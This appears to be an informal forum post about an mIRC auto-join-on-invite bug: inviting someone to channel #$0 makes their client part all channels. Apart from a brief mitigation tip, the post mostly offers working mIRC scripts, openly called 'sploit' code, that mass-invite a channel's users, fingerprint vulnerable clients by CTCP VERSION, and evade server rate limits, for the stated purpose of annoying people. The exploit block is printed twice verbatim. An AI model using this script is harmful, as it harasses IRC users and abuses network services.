Well, this bug has been known for quite some time, but I just found a funny and hell annoying way to piss people off with it. Basically, this affects anyone with auto join on invite turned on using mIRC (this works with the latest versions, and everything above 6 seems to work, haven't really tested), which is off by default. Third party scripts like no-name script will stop this (check the join alias in it for why). A simple /ajinvite off will turn this option off.

 

When you invite someone with that mIRC's autojoin will evaluate anything after the # sign. so inviting someone to channel #$me will make them try to join #<their nick>. Once you know they have ajinvite on, join channel #$0 and invite them in. They will part all channels, muahahah. Reason for this is mIRC's joining channels with ,0's after the channel name which will make them part all channels. Not sure why mirc interprets #$0 as the ,0 but hey, it work. I'm not sure if join -i (join last channel invite to) will work, but not too many use that for me to care.

 

I've heard rumours of this being used maliciously, but seeing as it's impossible to have certain chars in chan names, I can't see a way to.

 

Here's a simple mIRC alias which will invite everyone in that channel to channel #$0. You should be in #$0 before attempting this,

alias minvite { var %i 1 | while (%i <= $nick($chan,0)) { invite $nick($chan,%i) $+($chr(35),$chr(36),0) | inc %i } }

If you were smart you'd write something to find everyone's irc client version before making any attempt at inviting them, but this will work. Although the ircd may have some sort of thing to stop you spamming up their invite queue's.

Here's some simple code to 'sploit' it

 

alias minvite { 
 if ($1- == $null) {
   if (C isincs $chan($chan).mode) { goto force }
   if ($me !ison $funkychan) { .join -n $funkychan }
   if (%minvite == $true) { endit }
   msg $funkychan Starting invite bug
   set %minvite $true
   ctcp $chan VERSION
   timerendit 1 300 endit
 }
 elseif ($1 == force) {
   :force
   var %i = 1
   while (%i <= $nick($chan,0)) {
     invite $nick($chan,%i) $+($chr(35),$chr(36),0)
     inc %i
   }
 }
 else { endit }
}
alias -l endit { set %minvite $false | timerend* off | msg $funkychan Ended invite bug }
alias -l funkychan { return $+($chr(35),$chr(36),0) }
raw 439:* message target change too fast. please wait * seconds*: {
 if (%minvite != $true) { halt }
 var %time = $gettok($1-,10,32)
 inc %time 1
 [ timerend $+ [ $nick ] ] 1 %time .invite $nick $funkychan
}
on *:ctcpreply:VERSION *:if (*mIRC v*.* iswm $1-) && (%minvite == $true) { invite $nick $funkychan }
on *:part:#:if (*Left*all*channels* iswm $1-) && (%minvite == $true) { msg $funkychan  $+ $fulladdress looks vulerable }

Here's some simple code to 'sploit' it

 

alias minvite { 
 if ($1- == $null) {
   if (C isincs $chan($chan).mode) { goto force }
   if ($me !ison $funkychan) { .join -n $funkychan }
   if (%minvite == $true) { endit }
   msg $funkychan Starting invite bug
   set %minvite $true
   ctcp $chan VERSION
   timerendit 1 300 endit
 }
 elseif ($1 == force) {
   :force
   var %i = 1
   while (%i <= $nick($chan,0)) {
     invite $nick($chan,%i) $+($chr(35),$chr(36),0)
     inc %i
   }
 }
 else { endit }
}
alias -l endit { set %minvite $false | timerend* off | msg $funkychan Ended invite bug }
alias -l funkychan { return $+($chr(35),$chr(36),0) }
raw 439:* message target change too fast. please wait * seconds*: {
 if (%minvite != $true) { halt }
 var %time = $gettok($1-,10,32)
 inc %time 1
 [ timerend $+ [ $nick ] ] 1 %time .invite $nick $funkychan
}
on *:ctcpreply:VERSION *:if (*mIRC v*.* iswm $1-) && (%minvite == $true) { invite $nick $funkychan }
on *:part:#:if (*Left*all*channels* iswm $1-) && (%minvite == $true) { msg $funkychan  $+ $fulladdress looks vulerable }